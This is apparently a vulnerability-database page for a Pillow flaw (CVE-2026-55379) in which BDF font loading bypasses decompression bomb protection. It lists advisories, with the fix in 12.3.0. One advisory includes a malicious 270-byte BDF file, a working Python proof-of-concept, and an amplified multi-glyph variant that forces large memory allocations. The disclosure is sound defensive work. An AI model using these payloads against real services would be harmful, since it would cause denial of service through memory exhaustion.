CVE-2026-55379
highpriority · track · 0EPSS 0.004 · 35 %ileDEEUFRRUUSEPSS · scored 2026-10-22
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (52)
Products and version ranges known to be affected.
advisories (5)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2301Red Hat Enterprise Linux (python-pillow): Mehrere Schwachstellen ermöglichen Denial of ServiceDeutsch2026-07-13csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Red Hat Enterprise Linux bzgl. python-pillow ausnutzen, um einen Denial of Service Angriff durchzuführen.
- GHSA-45hq-cxwh-f6vcPillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading2026-07-20ghsa · osvUS
### Summary `PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection. `Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit. **Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):** ```python # width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()! # ^ This image is stored in self.glyph[ch] — persists in memory ``` **Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new("1", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions. ## Steps to reproduce **Minimal malicious BDF file (270 bytes):** ``` STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT ``` **Proof of Concept script:** ```python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore") from PIL.BdfFontFile import BdfFontFile from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold # Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: _decompression_bomb_check((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).__name__}") warnings.filterwarnings("ignore") # Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode() print(f"[*] BDF file size : {len(bdf)} bytes") print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels") print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)") BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed! print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated") print(f" Image.open() path would have raised DecompressionBombError") ``` **Expected output:** ``` [Image.open() path] BLOCKED by DecompressionBombError [*] BDF file size : 270 bytes [*] Glyph size : 20000 x 20000 = 400,000,000 pixels [*] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError ``` **Amplified attack (multiple glyphs):** A BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection. ### Impact - **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - **Confidentiality**: None - **Integrity**: None - Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load("user.bdf")`, `BdfFontFile(fp)`) is affected - Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage collected
- BIT-pillow-2026-55379Pillow BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading2026-07-08vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
- CERTFR-2026-AVI-1366Multiples vulnérabilités dans les produits SplunkFrançais2026-10-22vendor · certfrFR
- PYSEC-2026-22552026-07-06vendor · osvUS
Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0.
also known as (9)
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sources
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references (9)
External citations — patches, advisories, analysis.
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstcnnvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77dcnnvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vccnnvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstenisa_euvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77denisa_euvd
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vcenisa_euvd
- https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rstRelease Notesnvd
- https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77dPatchnvd
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